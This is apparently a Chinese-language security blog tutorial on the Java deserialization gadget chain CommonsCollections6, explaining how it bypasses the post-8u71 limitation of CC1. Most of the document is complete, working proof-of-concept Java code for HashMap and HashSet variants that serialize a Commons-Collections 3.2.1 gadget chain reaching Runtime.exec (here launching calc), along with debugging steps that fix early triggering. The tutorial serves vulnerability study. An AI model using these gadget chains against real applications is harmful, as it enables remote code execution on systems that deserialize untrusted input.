java反序列化--CC6

java反序列化–CC6

前置

学完CC1后 我们发现CC1只能在8u71以前利用 那么 我们自然想知道CC链该怎么在8u71以后的利用方式 这就是CC6存在的意义

首先 8u71后为什么不能利用了:

主要原因是 sun.reflect.annotation.AnnotationInvocationHandler.readObject 的逻辑变化了

同样 我们也是通过照ysoserial中的代码进行学习

利用条件:

  • Common-Collections 3.2.1
  • 无 JDK 版本限制

CC6-demo分析

代码

java.io.ObjectInputStream.readObject()-->
java.util.HashMap.readObject()-->
java.util.HashMap.hash()-->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()-->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()-->
org.apache.commons.collections.map.LazyMap.get()-->
org.apache.commons.collections.functors.ChainedTransformer.transform()-->
org.apache.commons.collections.functors.InvokerTransformer.transform()-->
java.lang.reflect.Method.invoke()-->
java.lang.Runtime.exec()

注意 这只是简化版的利用链 并不能直接运行 只是大致说下利用过程

既然8u71后sun.reflect.annotation.AnnotationInvocationHandler.readObject 的逻辑变化了

那么这样我们就不能正常调用TransformedMapLazyMap.get()

所以简单来说,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用 LazyMap.get() 的地方

所以这条链子后面部分与CC1的LazyMap链的后面是一样的

所以我们重点关注这段代码:

从最开始到 org.apache.commons.collections.map.LazyMap.get()

也就是:

java.io.ObjectInputStream.readObject()-->
java.util.HashMap.readObject()-->
java.util.HashMap.hash()-->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()-->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()-->

为了解决调用LazyMap.get() 的问题:

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry (TiedMapEntry),在其getValue方法 中调用了 this.map.get ,而其hashCode方法调用了getValue方法

getValue:

public Object getValue() {
return this.map.get(this.key);
}

image-20240529224322853

hashCode:

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

image-20240529224426668

所以,想要触发LazyMap利用链,要找到就是哪里调用了 TiedMapEntry.hashCode

ysoserial中,是利用 java.util.HashSet.readObject –> HashMap.put() –> HashMap.hash(key) –> TiedMapEntry.hashCode()

但实际上我发现,在 java.util.HashMap.readObject 中就可以找到 HashMap.hash() 的调用,去掉了最前面的两次调用(这不就是URLDNS的链吗)

我们两条链都看一下

CC6链

HashMap链

链子构造

先看看java.util.HashMap.readObject里的调用

image-20240529232022785

点进去一看

image-20240529232122856

就是HashMap.hash()

所以在HashMap的readObject方法中,调⽤到了 hash(key) ,⽽hash方法中,调用到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过 程,构成⼀个完整的Gadget

首先,我们先把恶意LazyMap构造出来

Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)
};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }
),
new ConstantTransformer(1)
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

其实和我们CC1里面写的是一样的

注意这里我使用了fakeTransformers 这是为了避免本地调试时触发命令执行 最后写POC的时候记得改成真正的Transformers就行

现在,我们拿到了⼀个恶意的LazyMap对象 outerMap

将其作为 TiedMapEntry 的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

然后 为了调用 TiedMapEntry.hashCode() ,我们需要将 tme 对象作为 HashMap 的⼀个key。注意, 这里我们需要新建⼀个HashMap,而不是用之前LazyMap利用链里的那个HashMap,两者没任何关 系

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,我就可以将这个 expMap 作为对象来序列化了,不过,别忘了将真正的 transformers 数组设置 进来

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

//反序列化
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

合起来跑一下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc66 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)
};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }
),
new ConstantTransformer(1)
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

//反序列化
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

同样 出现了问题 代码运行没有问题 但是不能弹出计算器

image-20240530001250383

所以问题是什么呢

首先 我们前面部分应该是没有问题的

最后序列化 反序列化的地方应该也是没有问题的 (我下了断点看了的)

那我们就重点看看后面写的代码

我是先这里下断点 一步一步debug看的

image-20240530002522759

过程就不说了

最后锁定在这里:

image-20240530003848973

好 debug看下

第一步会调用TiedMapEntry中的hashCode()

image-20240530004832620

这里没什么问题

然后会进入getValue()

image-20240530005008664

然后到LazyMap.get()方法

image-20240530005042280

注意此时Key已经有了一个值keykey

?

我们什么时候向outerMap中传入了一个keykey对象?

注意 我们前面的keykey实际上是一个键

是一个随意选择的键,用于与 outerMap 关联 与这里的keykey对象是两个完全不同的东西

在代码中,"keykey" 实际上并不直接作为一个预存在于 outerMap 中的对象。它是作为 TiedMapEntry 的一个构造参数,用来指定一个键名。当通过 TiedMapEntry 访问其值时,它会尝试从关联的 Map(这里是 outerMap)中查找给定的键(即 "keykey")。

outerMap 是由 LazyMap.decorate(innerMap, transformerChain) 创建的,这意味着它是一个装饰过的映射,其行为已经不是简单的键值对存储——而是当尝试访问一个不存在的键时,会执行特定的变换逻辑(在这里,就是恶意构造的变换器链)。

因此,直到尝试通过 TiedMapEntry 实例访问 "keykey" 的值之前,"keykey" 本身并不是 outerMap 中的一个实际存在的键。这一访问动作触发了 LazyMap 去查找该键,由于键不存在,它转而使用关联的变换器链尝试“计算”该键的值,从而启动了一连串导致命令执行的变换操作。

而这里 下一步直接掠过了我们的重要代码

image-20240530005652081

它并没有执行我们需要的factory.transform(key)

这也是为什么我们没有触发计算器的原因

那我们回过头来看看什么时候传入了这个keykey对象

这个关键点就出在 expMap.put(tme, "valuevalue"); 这个语句⾥⾯。 HashMap的put方法法中,也有调用到 hash(key) :(其实就是HashMap.put())

image-20240530011304516

这里就导致 LazyMap 这个利用链在这里被调用了⼀遍,因为我们前面用了 fakeTransformers ,所以此时并没有触发命令执行,但实际上也对我们构造Payload产生了影响

解决:

只需要将keykey这个Key从outerMap中移除即可:

outerMap.remove("keykey") 。

接在expMap.put(tme, “valuevalue”)后面即可

POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

成功调用

image-20240530012454778

调用流程:

HashMap.readObject()->
HashMap.hash()->
TiedMapEntry.hashCode()->
TiedMapEntry.getValue()->
LazyMap.get()->
ChainedTransformer.transfomer()->
…后面就一样了

​ ->ConstantTransformer.transform()
​ ->InvokerTransformer.transform()
​ ->Method.invoke()
​ ->Class.getMethod()
​ ->InvokerTransformer.transform()
​ ->Method.invoke()
​ ->Runtime.getRuntime()
​ ->InvokerTransformer.transform()
​ ->Method.invoke()
​ ->Runtime.exec()

HashSet链

链子构造

这就是ysoserial中的

是利用 java.util.HashSet.readObject –> HashMap.put() –> HashMap.hash(key) –> TiedMapEntry.hashCode()

HashSet.Put()

java.util.HashSet.readObject调用了put

image-20240530013424256

put:
image-20240530013455319

这个 put(HashMap) 方法中就调用了 hash 方法

HashMap.put() –> HashMap.hash(key)

image-20240530013805729

后面就不说了吧 一样的

好 直接开始构造POC

新构建了一个 hashset 类,然后将 TiedMapEntry 通过 add 方法塞入了 hashset 内,我以为这样就可以成功执行了,可事实并非这样

package org.example;


import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception{

String cmd="calc";
Transformer[] transformers =new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer c=new ChainedTransformer(transformer);
Map inmap=new HashMap();
Map lzmap=LazyMap.decorate(inmap,c);
TiedMapEntry tme=new TiedMapEntry(lzmap,"123");
HashSet hashset= new HashSet();
hashset.add(tme);

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(c,transformers);

FileOutputStream fos=new FileOutputStream("./ser");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(hashset);
oos.close();

FileInputStream fis =new FileInputStream("./ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();
}
}

image-20240530014037841

同样没弹出

问题也出在 像 HashMap 一样的问题

所以我们添加

lzmap.clear()

所以

POC

package org.example;


import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc66 {
public static void main(String[] args) throws Exception{

String cmd="calc";
Transformer[] transformers =new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer c=new ChainedTransformer(transformer);
Map inmap=new HashMap();
Map lzmap=LazyMap.decorate(inmap,c);
TiedMapEntry tme=new TiedMapEntry(lzmap,"123");
HashSet hashset= new HashSet();
hashset.add(tme);
lzmap.clear();

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(c,transformers);

FileOutputStream fos=new FileOutputStream("./ser");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(hashset);
oos.close();

FileInputStream fis =new FileInputStream("./ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();
}
}

调用成功

image-20240530014510237